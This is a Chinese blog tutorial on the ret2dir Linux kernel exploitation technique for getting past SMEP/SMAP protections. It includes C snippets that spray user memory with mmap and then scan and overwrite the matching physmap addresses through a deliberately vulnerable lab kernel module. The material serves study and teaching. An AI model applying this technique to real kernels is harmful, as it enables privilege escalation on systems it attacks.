Linux下内核漏洞利用几种方法,【linux内核漏洞利用】ret2dir利用方法

完全参考rtfingc的文章linux kernel pwn 之 ret2dir 学习,附赠文件及源码点这里,原文中给出的kpwn.c文件有错误,现已更正。

目的:利用return-to-direct-mapped memory(ret2dir)攻击技术绕过SMEP,SMAP,PXN,KERNEXEC,UDEREF,KGuard保护。简单来说,通过利用一个核心区域,直接映射系统的一部分或全部物理内存(用户空间内存映射到physmap,内核可直接访问physmap),允许攻击者在内核地址空间内访问用户数据。

防护:排他性页框架所有权机制(exclusive page frame ownership scheme),能以很低的性能损耗缓解ret2dir攻击。

1.Linux x86_64 内存布局

3c662b6163a7

1-memory_layout.png

可见,physmap区域在0xffff888000000000 - 0xffffc87fffffffff这一段,大小为64TB。物理内存直接映射在该虚拟内存空间某地址处,只要知道该基址,做线性加减就完事了,速度和效率都很高。

3c662b6163a7

2-physmap.png

linux内核的伙伴系统+slub分配器可参考这篇文章,内存分配主要有kmalloc和vmalloc两种方式。

vmalloc 请求 页的倍数大小的内存,要保证虚拟地址连续,物理地址不需要连续

kmalloc 内存在字节级做分配,要保证 虚拟地址和物理地址都是连续的

kmalloc是slub分配器使用的方式,kmalloc可在physmap上做内存分配操作。例如分配0x200,则对应kmalloc-512,该内存在physmap里面。

2.利用方式

从以上可知,1.physmap和RAM是直接的映射关系;2.可通过kmalloc分配的内存地址找到physmap的基址。

SMAP/SMEP主要是使内核不能直接执行用户态的代码。但用户态分配的内存,会停留在RAM中,这块内存在physmap中也能看到。可通过mmap分配大量的内存,这样找到的概率就会比较大。

早期的physmap可执行,只需在用户态写好shellcode,然后劫持内核后跳到physmap对应位置即可,不用管SMAP/SMEP。后期加上保护策略,physmap不可执行(W^X),但可通过ROP方式进行利用。

利用过程如下:

mmap大量内存(喷射rop chain等,这样用户数据会映射到内核physmap),提高命中概率。

泄露slab地址,根据内核中的slab地址计算physmap基地址,根据physmap基址搜索映射到内核physmap的用户数据。

劫持内核执行流到physmap。

3.测试

gcc版本:8.3.0

ubuntu版本:19.04

内核模块见kpwn.c。

功能:

add_any:kmalloc任意size,返回地址

del_any:传入addr,kfree释放该地址

read_any:传入addr,任意地址读

write_any:传入addr,任意地址写

利用步骤:

mmap喷射大量内存(这样用户数据会映射到内核physmap)

physmap中找出用户态mmap的内存的地址A

尝试改写physmap中地址A的内容,在用户态查看是否有变化

(1)mmap内存

qemu给了128M的内存,mmap出64M的内存,以增大命中率(在用户层喷射数据,这样会映射到内核physmap,这样根据physmap基址搜索的时候才更有可能搜到用户数据)。mmap内存都初始化为字符"K"。

// 64M

#define spray_times 32*32

#define mp_size 1024*64 // 64k

void *spray[spray_times];

void heap_srapy(){

void *mp;

for(int i=0;i

if((mp=mmap(NULL,mp_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){

logs("error","heap spray");

exit(0);

}

memset(mp,'K',mp_size);

spray[i]=mp;

}

}

(2)找physmap对应地址

先add_any(fd,0x200,buf);找出slab的地址,然后在上面做爆破,一个页一个页读取,直到找出KKKKKKKKKKKKKKKK这个子串的内存。

char *target = "KKKKKKKKKKKKKKKK";

...

u64 addr = slab_addr;

u64 pos=0;

u64 addr_to_change=0;

for(;addr < 0xffffc80000000000;addr+=0x1000){

memset(buf,0,0x1000);

read_any(fd,addr,buf,0x1000);

pos = (u64) memmem(buf,0x1000,target,0x10);

if(pos){

....

}

}

(3)改写尝试

找到可能的physmap地址后,调用write_any写这个地址,看看用户态对应的内存有没有被改变,如果随之改变,则说明两者已经对应上了。

if(pos){

addr_to_change = addr + pos - (u64)buf;

loglx("physmap hit addr",addr);

loglx("addr to change",addr_to_change);

write_any(fd,addr_to_change,dirty,0x100);

u64 *p = check();

if(p!=NULL){

logs("userspace","already change");

break;

}

}

4.结果

可以看出,内核首次分配的slab地址是ffff888007b5d800,计算出physmap起始地址是0xffff888007000000,顺着physmap搜到用户喷射的"K"首次出现在0xffff888007030000,把该内核地址处的值改成"A",找到用户空间出现改变的地址是0x7f7535b8f000,打印出来如下图所示。

3c662b6163a7

3-output.png

内核physmap大部分空间都喷射的是"K"。

3c662b6163a7

4-debug.png

参考:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值